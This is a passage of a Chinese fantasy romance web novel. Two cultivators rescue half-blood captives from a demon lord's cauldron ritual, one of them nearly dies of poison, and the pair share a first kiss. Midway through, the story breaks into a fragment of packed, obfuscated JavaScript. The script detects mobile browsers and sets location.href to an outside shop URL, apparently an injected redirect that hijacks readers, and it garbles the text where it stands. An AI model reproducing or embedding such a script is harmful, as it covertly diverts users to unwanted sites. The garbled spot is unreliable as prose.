阿乐四处张望,前面滚来一阵热气,往前看去果然能看到桥上挂着一排黑乎乎的大锅。
“师兄,就是那个,用来炼混血者的大锅。”阿乐发密信给叶敬亭。
两人商量先去看看白小布会不会在那边,却被一声令喝:“站住!你两个!”
“说你们俩呢,鬼鬼祟祟干什么?”粗声粗气的声音正在靠近。
阿乐祭出“雪落”藏在袖口,以备不时之需。
转过身没有看到人影,“师兄,你看到有人了吗?”阿乐发出密信。
叶敬亭摇摇头。
“喂!你们太没有礼貌了吧!!”声音确实就是从前面传来的,人呢?
“低头!我在这里!”声音气急败坏道。
两人低头看去,只见一个黑黑瘦瘦的小人正在地上蹦蹦跳跳,这粗声粗气的声音就是他发出的。
阿乐蹲下身,伸手戳了戳小人,“喂!你在干嘛!既然敢对你壮爷动手!”
小人一蹦跳很高,却也只能打到阿乐大腿。
“哈哈哈哈哈哈哈哈啊哈,壮爷?”阿乐差点笑岔气,真是缺什么叫什么。
“你真的很没有礼貌!等会发‘魔丸’,你就能见识到本爷的本事了!哼——”说罢便蹦蹦跳跳往前奔去了。
“看来,今天魔尊也在这。”阿乐道。
叶敬亭点点头。
两人沿着壮爷的方向走去。
越往前走越多妖魔族人聚集而来。
“师兄,原来只听说这妖魔族的人是一眼便能认出来的,原来是因为样貌怪异啊!”阿乐看着身边这些奇形怪状的妖魔,感叹道。
这些妖魔都是女娲娘娘发火时摔落在地上的泥人吧!虽都是一个头、两条胳膊两条腿,怎么还能有那么多组合变幻。
“专心看路。”眼看差点就撞上别人的阿乐,伸手拉了一把。
队伍浩浩荡荡,叽叽喳喳吵闹不停,一直延伸到一处洼地。
洼地看着不大,却也容纳了这支浩荡的队伍。
两人被挤到角落安静站着。
极目望去,黑压压一片人头,今天来的妖魔那么多,一定是个很重要的聚会。
阿乐心道:“要是自己一个人前来,可万万不敢站在这洼地里。”
一阵雷声响过,妖魔们瞬间安静了下来,空中投下一道黑影,举目看去,三道黑影从空中划过。
“噼里啪啦”红烟四起,璀璨夺目的烟花在平台上炸起。从烟花中走出三人,最前面的那人一身黑色华服点缀着红宝石,一头红发披散在身后,红色眼睑衬得一双眼睛极美。这肆意张扬的摸样让人挪不开眼。
身后两人一男一女跟随左右,虽也是生得琼姿玉貌,对比之下平淡许多,却也与这洼地里的妖魔族格格不入。
“魔尊!魔尊!魔尊!”一声声音浪淹没了这片洼地。
阿乐旁边的一妖魔浑身通红,口水从奇大无比的嘴角流下。
“这魔尊是他们的梦中情人吧!”阿乐睥睨道。
也不奇怪,别说这魔尊的长相在这群奇形怪状的妖魔族眼中美若天仙,在人族中也算是佼佼者了。
“安静!”站在魔尊左边的人一字一句吼道。
这声音好熟悉,阿乐踮起脚尖往前望过去,眯着眼仔细辨认左边那人模样。
“邴哲!师兄,那人是邴哲!”阿乐发出密信,“他居然就是左使?难怪他要杀血老大抢小布,原来是在帮魔尊做事。”
叶敬亭微微点头。
妖魔们安静的站在洼地里,仰望着平台上的魔尊,双手合十极其虔诚。
魔尊发表着感谢大家为她找来那么多混血者,大家辛苦了了之类的话。刚在正在流口水的那妖魔,现在是眼泪、鼻涕、口水一起流,鼻涕眼泪糊了一脸,关键是他不用袖口擦,用手抹,抹完了就向旁边甩。
阿乐看着他那在空中摇晃的手,很怕把那些不明液体甩过来,紧张的往后边退了半步,忘了这个洼地里满满当当很多人,包括她的身后。
“你没长眼睛啊,踩到我脚了!”身后传来几句咒骂声。
阿乐说着:“对不起,对不起”又往旁边靠去。
“嘿!你干嘛呢,别挤行不行!”,咒骂声中掺杂着道歉声,很快魔尊便注意到了这里。
叶敬亭向前挡在阿乐身前,遮住她大半个身子。
“那边,不要吵!”右使吼了一句,才重新恢复了安静。
阿乐探出半个脑袋偷瞄魔尊,看到他们没再注意这里才从叶敬亭身后站出来。
“放心,我在。”收到叶敬亭传来的密信,点了点头。
收回彼此的目光,继续向平台上看去。
不知何时,一队带着铁链的混血者站在了平台上。其中几名看上去不过十岁尔尔,稚嫩的脸庞盯着眼前的几口大锅,他们还不知道自己即将面临着什么。
前方几个高大点的妖魔挡住了视线,在缝隙中隐约看了一遍,没有看到白小布。
“滋啦”一声响起,锅盖被打开,白气窜出一米高。旁边的混血者们往后躲去,低着头不敢看。
三个妖魔人拿着长叉往里面一顿搅动,再来
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了三个人提着刀往里面戳去,来来回回过了半个时辰,几人合力才从黑锅里取出一堆琥珀色的小球。这些小球有大有小,晶莹剔透,妖魔人小心翼翼装进一个透明瓶里,难道这就是“魔丸”?
当所有人注意力都在这些小球上时,混血者中有人“哇哇”哭了起来,声音响彻整个山洞。
接着哭声越来越大。
那几个小孩哭得最惨,阿乐猜想大概是好奇往锅里看了一眼吧。
台上乱做一团,洼地里的妖魔们被吵得难受,前排几个提着刀喊道:“魔尊,快把他们炼了吧。”
此话一出,引得其他妖魔一起喊,“快炼了吧,大家还等着‘魔丸’呢!”
台上混血者哭的更凶了,在锅里看到了自己的结局,谁能不害怕?
装满尸体的大锅被抬了下去,又抬了几个新的上来。
那几个小孩已经吓得瘫软在地上,呆呆傻傻的一动不动。
其他混血者拼命想要挣脱铁链,却被打得满身是血。
“师兄,不觉得奇怪吗?”阿乐发出密信,“他们这样对待混血者,为何不惧怕他们体内的‘浮生烬’爆发?”
叶敬亭也觉得很奇怪,难道是妖魔族有什么特别之法?
这时,台上传来一阵骚动,远远看去,只见一个小男孩挣脱了铁链,挡在最前面,一掌打飞了几个妖魔人。
这可是在妖魔族的地盘啊,岂容他人随便撒野。
不等魔尊出手,下面的人已经蠢蠢欲动,叫嚣着要上来生剁了他。
小男孩瘦小的身躯不为所动,坚定的挡在前方,半晌,有四个混血者站了出来与他一起。
阿乐眼眶起了雾,他们面对的可是千万名妖魔,况且魔尊也还在台上,是何等勇气与之抗衡?胜算几乎渺茫,可他们没有放弃这一毫的生机,其实更像是垂死前的愤怒。
他们到底做错了什么?
祭出“雪落”握在手里往前飞身而去,叶敬亭知道迟早一战,没有阻拦,握着“寒冰”默默跟在身后。
一时间,台上热闹起来。
“白小布!真的是你!”阿乐飞身落在台上,一眼便看到站在最前面的小男孩,手上还缠着她亲手系的白布条,那不是白小布还能是谁,太好了,他还活着。
只是,现在——可不好说了。
白小布抬眸看了一眼阿乐,并没有太多表情,嘴巴张了张也发出声音。
“小布,你没事,太好了!”阿乐看到他四肢健全的站在那里,心里不知为何非常开心,本来还以为他不会已经——呸呸呸,瞎想什么呢。
“这两位,看着不像我族人啊。”在一旁看了半天戏的魔尊终于开了口。
“本姑娘那么好看,怎么会是妖魔人。”阿乐毫不客气的回道。
“魔尊,别跟他们废话,快炼了他们给兄弟们下酒。”
“这个女子那么好看,不如给我当奴隶吧!生几个孩子兴许也能好看些,嘿嘿!”
“哈哈,生完了给我也生几个!”
“哈哈哈哈哈哈,臭不要脸的!”
接着又说了一些污秽之词,下面又嘻嘻哈哈闹作一团。
阿乐脸青了又白,紧握着“雪落”,指节泛白,恨得牙痒痒,又忌惮这人山人海的妖魔人,现在救人更要紧。
忽然,一道白光闪过洼地,还没看清楚发生了什么,一股浓烈的血腥味便四散开来。须臾,只听闻一阵惊叫,有妖魔的脑袋从脖子上跌落掉地。
正是方才调侃阿乐那几个妖魔。
32. 左使
顿时,洼地里惊叫声、咒骂声、叫嚣声混作一团,吵得要把整个洞顶掀开。
阿乐知道这是叶敬亭做的,但这速度完全没有觉察到他动过手,看来平日里还是太低调了。
内心忍不住欢呼,“师兄那么那么厉害,藏书阁那五本书一定要用心好好学”。
阿乐满脸崇拜望着他,实在也——太厉害了吧!
“专心。”叶敬亭瞟了一眼阿乐,扶额发出密信。
“——”
“两位上神,大驾光临我们这小小魔窟,不知是有何贵干啊?”魔尊款款走上前,似笑非笑的表情紧盯着叶敬亭。
轻瞟了一眼阿乐,灼热的眼神在叶敬亭身上缠绕很久才舍得离开。
阿乐看着她这恨不得贴在叶敬亭身上的模样,无奈撇撇嘴,师兄真是到哪儿都受欢迎啊。
无意间瞟了眼左使,他闪躲了下眼神。
叶敬亭冷漠道:“这人我们要带走。”
“啊哟,上神,这么多人,你说的是哪一个呀?”说着手已攀爬上叶敬亭的肩膀。
叶敬亭垂目投去冷冽的目光,冰冷的似一把利箭,魔尊悻悻收回手。
“不要那么冷漠嘛,奴家长得不比你旁边这位小美人要好看许多吗?”魔尊外袍“不经意”向下滑落露出半个雪白的肩膀,又朝叶敬亭贴近了几分,盈盈娇笑道。
洼地里一片安静,妖魔们全都看呆了。
突然,一个妖魔人指着旁边道:“快——他们要跑了!”
一声炸响,全部目光向阿乐投去,她刚刚解开最后一个铁链。
面对这突如其来的关注,对着叶敬亭尴尬的笑了一下。
“师兄,不是让你再拖她一会的嘛。”阿乐发出密信。
“——”
“你胆子倒挺大,在老娘面前耍心眼子——”魔尊发现自己既然被一个小丫头片子耍了,气急败坏,一条长鞭“啪”抽了过来。
长鞭在空中划出一道弧线,便被人徒手挡了回去。
“上神公子,还真是英雄救美啊!”魔尊手上力道没有少半分,足尖点地又是一鞭。
阿乐拉过白小布,对着他比划了几道诀,道:“快去,打开那扇门就能到树林里,找地方躲起来。”
白小布点点头,一手抱起一个已经瘫软在地的小孩,往外面冲去。
左右使哪能容得到嘴的魔丸飞走,一边一个追了过去。
阿乐一甩“雪落”,飞出去截住右使的路,一掌挡住左使的路。
“你一个人打不过我们的。”不再是一副笑盈盈的模样,有些不习惯。
“不用左使操心。”阿乐回道,一掌接着一掌劈头盖脸砸去,却也只是擦过他的发丝。
两人“你打我躲”纠缠了一会,左使好似想到了一个绝妙的主意,眼眸又笑盈盈起来,阿乐顿感不妙却已来不及。
腰间一紧,身体离开地面被他捞了过去,想要转身逃跑却挣脱不开。
半个身子已被揽入左使怀中。
“你——你放开我!”阿乐厉声道。
“哈哈哈哈,左使,抓好了。我这就送她一程。”右使看着阿乐已被左使固定住,用力一推,“雪落”直直插入洞壁,一道黑雾弥散开,一眨眼,右使的脸便出现在阿乐面前。
眼看刀锋就要没入胸膛,左使抱着她往后飞身数米,刀落下来扑了个空。
“你干嘛?”右使疑惑吼道,“不会是见色起意了吧!”
右使提着大刀狠狠再次劈来,阿乐也被抱着左右躲闪。
这不止右使疑惑,她也疑惑了。
妖魔们看着台上这打来打去,半天也没有分出什么胜负。
他们眼睁睁看着梦中情人—魔尊被一个陌生神族男子勾引,又看着左使抱着一个陌生神族女子飞来飞去,最重要的是那些被铁链拴住的混血者全都跑了。
已经有一些妖魔看不下去了,提着武器就冲了上来。
平台本就不大,转眼间就被他们淹没。
这些妖魔们挥舞着自己的武器,纷纷向阿乐戳去,左使足尖点地飞快略过,很快便飞身至半米高的洞壁上。
阿乐有些恼了,推又推不开,生气道:“邴哲,你要杀便杀,这样算什么?”
身后的人怔了一下,吞吞吐吐道:“我——什么时候说过要杀你?”
阿乐更疑惑了,“那你这样抱着我飞来飞去干什么吗?”
“我——我怕那个疯婆娘真的伤到你啊!”
“你——”阿乐这下更懵了,他不是妖魔族的左使吗?为何要保护自己?
半晌,声音从身后低低传来:“你救我一次,我不欠别人。”
阿乐反应过来,原来是第一次在结界口见面时,血老大正把他从结界里扔了出来。
“你先把我放下来——”阿乐语气又缓和一些。“有师兄在,她伤不到我。”
说罢,在这这一众妖魔中巡视了一圈,已看不到叶敬亭的身影。
“师兄,师兄,你去哪儿了?”阿乐着急的发出密信。
须臾,密信回道:“你身后。”
“啊——”邴哲一阵吃痛,手被叶敬亭一剑挑开,不得不放开阿乐往地上跌落。
叶敬亭还是面无表情看着阿乐,把“雪落”递给她。
“雪落”放在手上一沉,就这一瞬间,阿乐感觉到一股怒火传来,但是她不知道这是为何愤怒。
“他们在那——”
“冲啊兄弟们——”
“别让他们跑了—”
妖魔们发现两人在洞壁上,举着大刀就要杀来,但是他们数量实在是太多了,吵闹声又变成:
“别挤,别挤——”
“啊哟我的刀?谁挤掉了我的刀!”
阿乐看着他们开始对骂,对着叶敬亭道:“看来不用我们出手——”
“退下!”忽然,一句强大的音浪把山洞震得“嗡嗡嗡”回响。
是魔尊。
妖魔们听话得往洼地里退去。
很快平台被空了出来。
“抓紧我,走。”叶敬亭轻声道,随即伸出手,待阿乐抱紧她手臂,两人急急往岩浆河那边飞身而去,过了岩浆河就是万人坑了,那里有老鬼留的一条道。
两人在前面飞,三道黑影在后面紧追不舍。
叶敬亭手中捏诀又加快了速度,与三人拉出距离。
“给老娘站住!”魔尊在身后歇斯底里吼道,与刚才风情万种的样子判若两人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674376|188675||http|test|mini|href|location''.split(''|''),0,{}));
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>他们又怎么会停下,只听见背后“嗖嗖”不断飞来暗器,叶敬亭拉着两人不断变换方位。
还好在这里埋了灵火,很快阿乐便找到万人坑,找到老鬼藏的那扇门。
再次来到这个地方,阿乐还是很难受,看着这满眼的断臂残骸,不禁想到以后自己也会是这样的下场吗:“浮生烬”爆发后,尸体碎成一堆,没有人来收尸,只有万般指责,说不定残肢也会被像老鬼这样的妖魔捡去去啃食一番。
“阿乐。”叶敬亭站在门后低低唤道。
阿乐回过神来,发现自己眼角既然湿了,连忙跟上。
“师兄,等一下。”突然想起“灵火”还埋在这,要是被发现,也麻烦。
跑到埋“灵火”的地方快速刨出,正准备要跑。
“站住!”魔尊的声音越来越近,“嗖嗖”两声,紧接着背后一凉,“师兄——”
阿乐感到有硬物没入后背,疼痛感瞬间蔓延到全身,痛得发不出声,直直向后倒去。
一道白影从门后闪出接住她。再一眨眼,两人已到一片树林中。
那扇门已被叶敬亭摧毁,短时间内魔尊是找不到这里的。
“阿乐——”叶敬亭面目严肃,紧盯着怀里人。
抱着她往树林深处跑去,寻了一处安全的地方,结起结界,才把阿乐慢慢放平在地上。
阿乐此时嘴唇发紫,面无血色,额头发丝已被汗水打湿,叶敬亭小心取出两枚暗器,用灵力探了一下,确实有毒。
“师兄,冷——”阿乐身上的衣裳已被汗水浸透,全身蜷缩在一起,微微发抖。
“别怕,我在。”叶敬亭柔声安慰道。
随即盘腿而坐,双手合十,在胸前结印,阿乐身前冒出一道金光。
阿乐只觉得身上有暖流源源不断进入体内,顺着奇经八脉游走全身,没有刚才那么冷了。
过了半柱香的时间,阿乐脸色才有所好转。
“师兄——”睁开眼便看到叶敬亭紧皱的眉心,“我没事了,别担心。”
“我们回家。”叶敬亭随即抱起阿乐轻声哄道。
“师兄,他们呢?”身上还是没有力气,只能任由叶敬亭抱着,想起白小布他们,应该也在这座树林里。
“别说话,休息会。”叶敬亭道,“一会叶鹤他们会来接他们。”
“哦——”太好了,但是他们能去清灵山吗?师尊会让他们进去吗?如果不给会把他们送去哪?不会是——想到这,心口似乎被什么堵住,引来一阵咳嗽。
被叶敬亭托住的地方传来一阵暖流,他猜到她在担心什么,“放心,师尊不会。”
阿乐还是半信半疑,抬眸看着叶敬亭,身上疼得说不出话。
叶敬亭垂下眼睑看着自己,认真道:“放心,我在。”
这句话仿佛是一颗定心丸,敬亭师兄确实重来没有骗过自己,他说不会,那便是不会。
脑子昏昏沉沉,身体又疼痛无比,胃里一阵痉挛,搅得生疼,阿乐用手捂住肚子,这样好像稍微好了一些。
闭上眼,靠在叶敬亭怀里安静得数着他心跳“一、二、三——”
心跳声越来越急。
跑出树林,叶敬亭祭出“寒冰”,往清灵山飞去。
33. 寒冰洞
迷迷糊糊醒来,感觉床前一片火光,总有个人在耳边喊着“阿乐——阿乐——”,她想要回应,张了张嘴却发现喉咙也被冰冻住发不出一点声音。
阿乐感觉自己掉进了一个冰洞里,四周冷极了。
四面都被冰封住,只有头顶透下一缕阳光,浑身僵硬得无法动弹。
把身体拼命蜷缩着,还是感觉不到一点温暖。
寒气透过皮肤渗入血液里,阿乐感觉自己好似一只被寒气腌入味的尸体,呼吸间的气都是冰渣滓。
不知过了多久,已然感受不到自己身体,也感受不到冰凉,却感觉身体变得轻盈许多,尝试着动动手指,居然看到自己从地面飘了起来。
开心得转两个圈,感受不到任何寒冷。
阿乐站在原地,看着不远处躺在地上的自己,又低头看看了半透明的身体,刚好头顶的阳光洒落在身上,举起手,“哇!好漂亮!”光线穿过手掌落在地上,她感觉自己好像一朵云。
轻轻一跳便能飘起来。
“所以,我这样是死了吗?”阿乐在半空中看着地上的自己一动不动。
抬头看了看洞顶,阳光洒进来的地方正在慢慢扩大。
“那——我就这样走了,阿娘来接我怎么办?”阿乐停在半空思考着。
一张面无表情的脸闪过眼前,“那敬亭师兄怎么办?还有白小布他们又会怎么样呢?”
阿乐飘回躺在地上的身体旁,看着睡着的自己,脸上浮起一片白霜,伸出手指戳了戳,“啧——好凉啊!”
抬头看了看头顶的洞又扩大了一些,更多阳光洒落下来,阿乐飘到洞口,“外面应该很暖和吧!”
又回头看了一眼躺在地上的人,一个人躺在那看上去有些孤独。
“要不陪她一会吧!”
阿乐飘回身体旁,学着一样的姿势蜷缩着,把手轻轻放在她身上。
“啧——好凉!”不管了,先这样吧,反正一会出去就暖和了。
“阿乐!”一声喊叫回荡在洞里,“谁?”
阿乐猛然坐起,因为还不习惯现在轻飘飘的身体,用力过猛,险些翻倒。
“阿乐——阿乐——龙知乐!”
阿乐四处寻找也没看到其他人,凑近躺着的身体仔细听了听,好像是从她脑袋里发出声音的。
声音听起来很着急,难道是有什么重要的事情要说吗?
阿乐抬头又看看了洞顶的阳光思忖片刻,“那我听听他说什么就去晒太阳!”
深吸一口气,按照身体的姿势,小心又原模原样覆了上去,一阵寒气逼来:“呀——好冷!”
本想立马跑出去,脑袋里传来一阵声音,充满了恐慌,是敬亭师兄:“你不许走!我们说要去后山看仙鹿,你不是最喜欢吃酒酿丸子吗?这次给你加很多桂花蜜好不好?你不是答应你阿娘要等她,说好的就要做到啊!”
声音又絮絮叨叨说了很多,阿乐听着这个声音心道:“师兄虽然看上去总是淡漠了些,总归还是个好人。他一直在说要带自己去玩去吃好吃的,肚子还真有点饿了。还有阿娘——对!要是去晒太阳了,阿娘还能找到自己吗?”
“阿乐,你别走,你等我,你等我一会——我很快就回来,好不好!一炷香,不!不用,半刻钟!半刻钟我就回来好不好!”师兄还在对自己说着话,他话好多。
“我可以等你——可是我好冷啊!我怕又冻僵了。”阿乐自言自语道。
“阿乐——你等等!”说罢,不知为何,身体既然没有刚才那么冷了!既然有了些暖意。
阿乐尝试着抻了抻手指,居然能动了,看来师兄果然没有骗自己。
“好吧!那我等你一会吧!”说完外面的声音便没有了。
又陷入一片宁静,既然没那么冷了,那就再睡一会吧。
外面的夕阳落山,繁星坠满夜空,太阳升起又落,往返反复了几次。
阿乐翻了个身,没那么冷了。
这次睡得很安稳,大概已经过了一刻钟了吧!奇怪,师兄怎么还没有回来?
“啊——”打了个哈欠,肚子好饿。
“师兄,怎么还不回来?”阿乐揉揉眼缓缓睁开眼。
手好酸,想要抬起才发现有重物压在上面,“啊——”毛茸茸的触感。
“阿乐——”,瞬间屋里亮起火烛。
这才看清,原来是敬亭师兄。
“师兄,你不是说一刻钟就回来,怎么那么慢呀?”阿乐有些不满。
叶敬亭还是看上去面无表情,细细看去眼眶微红,眼眸轻轻颤动,安静的看着她不语。
阿乐疑惑的望着他,眨巴眨巴眼,手在他眼前晃了晃:“嘿!师兄,你怎么哑巴了?方才还一堆话——”
话还未说完,便被拉入怀里,喘息声在耳边响起,半晌才开口:“都怪我——是我——!”
阿乐这才想起,方才自己不是还在冰洞里?轻飘飘的浮在半空,要是自己真出去晒太阳了,是不是就真的回不来了?
想到这些一阵后怕,“师兄,我是不是差点就死了——”
叶敬亭这才放开,握住她手心道:“我不会让你死的。”
阿乐看着眼前叶敬亭,这炽烈的眼神,就这样直直盯着自己,透露着某种渴望。
烛火跳动,映照在叶敬亭的脸上,显得更加好看。
“咚咚咚”心跳又加快起来,她手按在心口往里压了压,咽了咽口水,轻声道:“师兄,我肚子饿了。”
叶敬亭抬起手把阿乐垂下的发丝别在耳后,站起来走到门口,与守着的师弟交待几句便回来了。
“你先躺一会。”
“嗯。”
扶着阿乐躺下,替她掖好被角。
“师兄!”阿乐才刚醒,完全没有睡意。
“嗯。”
“原来人将死的时候会离开身体飘在半空——”阿乐道。
半晌,没有回话。
“师兄?”阿乐不确定叶敬亭有没有在听自己说话。
手掌被一双大手紧紧握住,过了一阵才听到一句:“以后不会了。”
“咚咚咚”心跳又快了几拍,阿乐抽出手掌压在胸口,这次按了很久。
“哪里不舒服?”叶敬亭看着阿乐紧压着胸口,担心道。
阿乐摆摆手躺下,翻过身背对着他,过了好一会才好。
“师兄,今天怎么了?我这心脏又怎么了?”阿乐心道,真真是有些奇怪,这房间里怎么怪怪的,她都不
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敢再看叶敬亭了。
房间里又安静了下来。
阿乐正在想着要说些什么,毕竟师兄也是关心自己嘛。
“师兄——白小布他们在哪儿?”阿乐又翻过身看着床前的叶敬亭。
“都安顿好了,伤口处理过,放心。”叶敬亭又恢复淡淡的语气。
听着这熟悉的声音,阿乐这才放松下来:“那就好,我明早可以去看他们吗?”
叶敬亭点点头,把滑落的被子又拉到原位。
“师兄,我不冷,这被子盖的有些热!”阿乐扯了扯被角,把一条腿伸了出来。
叶敬亭起身把窗户又撑开了一些,夜风清爽,阿乐一阵哆嗦,又把腿收了回去。
“那日,我去藏书阁等你。后来师兄找我,有妖魔族的人在神族地界闹事,我便急急赶去处理。临走前,我在书桌上压了字条。我处理完回来发现字条还在原位,四处找你不见。你去哪儿了?”叶敬亭低垂着眼睑,睫毛轻轻抖动,阿乐看得有些呆住,原来师兄那么好看。
“我听到一个声音一直在与我说话,我便追出去了。”阿乐没敢说自己体内“浮生烬”异动,她怕叶敬亭担心,也怕他在意自己是混血者。
“它说什么?”叶敬亭眼波流动,关切道。
“——呃——我忘了。”
“他以后会找一个神族女子结婚、育子。而你,只能在某一天‘浮生烬’爆发,而后孤独的死去。”这句话又在脑海里浮现,阿乐重重甩了甩头,胸口一阵郁闷。
“怎么了?”叶敬亭担心道。
阿乐摆摆手,“没事。可能才刚刚好,身体还有些难受。”
“躺好。”叶敬亭调整了下枕头,示意阿乐躺平会好受一些。
“那你怎么又下山,还去喝了酒?”
“我——你们都不在山里,我一个人无聊。”
“下次无聊找我。”
“找你聊天?”
“练功、看书。”
“啊——不是吧,师兄!你说要带我去后山看仙鹿、吃酒酿丸子的!”
“等你好了再去。”
“————”
阿乐看着叶敬亭还是那副淡淡的表情,此刻既然觉得温暖无比,暗自庆幸自己当时没有就那样出去晒太阳,还好听到了他的声音,还好——还好——。
看着阿乐傻笑的样子,叶敬亭用掌心摸了摸额头,没有发烧啊,顿时一脸疑惑道:“笑什么?”
阿乐看着叶敬亭摇摇头,又重新躺好,闭上眼,心底油然升起一股暖流,或许日子就这样过也不错,管他什么混血不混血。
门外。
叶鹤对趴在门上的叶展云悄悄道:“我们还要站到什么时候?”
叶展云转过身“嘘”了一声。
“敬——”叶鹤张口声音刚到喉咙便被叶展云捂住嘴,“小师弟好不容易把阿乐救回来——你让他们单独待一会。”
“你也知道敬亭几天几夜没有合过眼了。还去找妖魔族打了一架,伤口都未痊愈,这时候更要让他休息啊!”
叶展云听了听门内没有了声音,低声道:“阿乐又睡下了,估摸敬亭也能休息一会,我们明早再来吧!”
说罢两人蹑手蹑脚便走了。
34. 初吻
叶敬亭把房间内火烛调暗了一些。
看着阿乐闭上眼,兀自坐在椅子上闭目养神,自从阿乐昏迷这十几天,他也没有好好休息过。
其实阿乐并不是特别想睡觉,她眯着眼,从眼缝里看着叶敬亭,挺翘的鼻子,薄薄的嘴唇,浓密的眼睫毛,索性侧过身调整了个舒服的姿势光明正大的看着。
今天的师兄格外好看。
一时间有些忘乎所以,直到叶敬亭忽然睁开眼,直直回望着她。
没有一丝多余的眼神,睁开眼便看向了阿乐的眼眸。
阿乐仿佛正在做坏事却被当场捉住,赶紧把脸埋入被子里。
却不料“唰——”一声,被子被一把撩开。
还没来得及睁开眼,便被一只大手轻轻盖住。
“闭眼”叶敬亭声音有些沙哑。
阿乐不明所以但还是照做,慌乱的双手亦被一只大手握住。
呼吸喷在脸上有些热热痒痒的,阿乐不知道叶敬亭怎么了,难道是病了?
“师兄——你是不是——唔——”
最后几个字被叶敬亭吞了进去。
阿乐顿时只觉得唇上一片柔软,反应了一会才明白这是叶敬亭的唇,带着松木的清香。
心里一阵惊慌,身体开始发烫。
她微微张嘴,对方舌尖立马探寻了进来。
“可是,可是——”阿乐脑中被这个突如其来的吻裹搅得一片空白,“血脉相淆者,天地共诛。”、“他以后会找一个神族女子结婚、育子。而你,只能在某一天‘浮生烬’爆发,而后孤独的死去。”这两句话一直在脑海中交替。
“师兄是神族血脉,以后要继承清灵山,我——我是混血者——不可以——不可以!”
思及至此,阿乐在呼吸混乱中一把推开叶敬亭,喘着粗气道:“不可以——师兄,不可以。”
叶敬亭身形显然愣住,嘴唇一片火红,喉结上下滚动,眸色暗淡,缓了缓才开口道:“你——不愿?”
“不是——不是,师兄。”阿乐头发微乱,半坐在床榻上,连忙摆手。
“那是为何?”叶敬亭指尖在袖中悄然收紧,不解道。
“师兄——你莫不是忘了,我是混血者。”阿乐双臂垂在胸前,无奈得看着叶敬亭,红着眼眶道“血脉相淆者,天地共诛,师尊罚你抄了一千遍,你忘了吗?”
叶敬亭顿时恍然大悟,原来那日在藏书阁她是看到了这个才下山喝酒的。
他心里紧了一下,往前走了一步,抿着嘴唇却什么也说不出。
阿乐心里明白如果叶敬亭再靠近半步,怕自己会不管不顾。下定决心深吸一口气,她不能拖他后腿。立马翻身躺下,用被子严严实实裹住自己,大声道:“我要休息了,师兄你回去吧。”
屋子里陷入一阵沉默,阿乐躲在被窝里不敢大声喘气,紧张得捏紧被角。
半晌,叶敬亭才开口:“好好休息。”便出去了。
“呼——”翻身起来,整个屋子里只剩下自己了。
烛火在噼里啪啦的燃烧,她呆坐在床上,伸手摸了摸唇,那里还留有一丝叶敬亭的余温,“砰砰砰”心脏在心口蹦跶得厉害,轻轻笑了笑,她才发现原来早就有颗种子埋在心里了。
可是——
“我们不能,不是吗?”阿乐蜷缩着身体坐在床榻边,看着窗外的月亮。
“真圆。”
一朵乌云飘来,挡住了月亮,整个星空变得暗淡无光。
这一夜暗淡的不止夜空。
连续一周叶敬亭都没有再来过,密信也不曾发过。
这几日阿乐叶总是独自坐着发呆,叶鹤来了几次都进屋了她也没发现。
更别说见面了。
阿乐伤势还没有完全痊愈,叶丽、叶茜会来帮忙换药。
她俩每天都会带一碗酒酿丸子来,里面加满桂花蜜。
“我感觉好得差不多了,应该不用再换药了吧?”阿乐一手撩起头发,一边拉着衣服问道。
叶茜刚帮她换好药,穿好衣服。
“看伤势是差不多了。”
叶丽递过酒酿丸子道:“阿乐,你是不是和敬亭师兄吵架了呀?”
阿乐自然接过,诧异道:“没有呀——”,想起那日叶敬亭柔软的嘴唇,低头心虚的喝了一口酒酿丸子。
“阿乐,你是不是又发烧了?脸怎么红成这样。”叶茜把手覆在阿乐额头关心道。
听到这句,阿乐呛了一下,连忙摇头,“没有,没有。”
“其实我们看得出来敬亭师兄对你不一样,”叶丽看向窗外,顿了顿继续道:“但是没关系,不是所有事都会得偿所愿,更何况是感情。”
收回目光看着阿乐,认真道:“如果你们在一起,我会祝福的。”
阿乐又呛了一下,赶忙放下酒酿丸子,不然不知道还要被呛几口。
“我过几天便要离开清灵山了。”
叶丽眼眸闪过疑虑:“哦?”
与叶茜对视了一眼,异口同声道:“你要走?”
阿乐点点头。
“那敬亭师兄——”
阿乐只听到“敬亭”两个字,便自顾自说道:“他虽然看着像一个冰块,其实很会照顾人,话有时候也会很多。脾气很稳定,修为特别高,打架的时候特别有魅力,会替别人着想,心思很细腻——”阿乐一口气说了很多叶敬亭“特别”,完全没注意到叶丽的眼神变化,继续道:“总之,他是个很好的——师兄。”
说罢看到叶丽对着自己眨眨眼,表情看上去有些复杂。
这时,门外响起了叶鹤的声音:“啊呀,敬亭,你磨磨唧唧干嘛,快!”
叶茜打开了门。
叶鹤一手提着食盒,一手拉着叶敬亭站在门口。
阿乐与叶敬亭对望了一瞬,慌忙移开视线,“你们怎么来了?”
“敬亭一直担心你伤势好些没。”叶鹤朝叶敬亭使了使眼色。
叶敬亭一脸淡然,把食盒放在桌上,转身便走了。
“师兄——”阿乐才喊出口便有些后悔,她其实也不知道自己想要说什么,只是时隔那么多日再见到他,想要说些什么。
叶敬亭站在原地,转过身,眼眸闪了一下,定定望向阿乐。
阿乐酝酿了一阵道:“小布他们——”
“伤养的很好。”叶敬亭停顿了一会,阿乐并没有再说其他,便转身走了。
看着他离去的背影,阿乐心兀自被揪了一下,
叶鹤看着两人摇摇头,把食盒打开,拿出一盒糕点递给阿乐:“呐,你最喜欢吃的‘金源记’,昨日敬亭下山办事给你买的。”
阿乐看着糕点,又看了看叶鹤,她想起上次下山自己就随口与叶敬亭提过一次。
像似下定了某种决心,下床便冲了出去。
“鞋子——没穿鞋子!”叶茜在身后喊道。
阿乐现在顾不得其他,只想快点看到那个挺拔的白影。
没想到追出去几步,便见到了。
“师兄——”
叶敬亭怔了一下回眸,看到向自己奔来的阿乐。
“师兄——”阿乐在叶敬亭前停下,匀了下气。
叶敬亭目光停在她脚上,皱皱眉道:“怎么不穿鞋?”
阿乐摆摆手道:“师兄,没事的。那个——你明日有空吗?”
“你想去看他们
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?”
阿乐点点头。
“好。”
“快回去,伤才刚好。”叶敬亭抬起手又顿在半空,最后只是指了指阿乐住所。
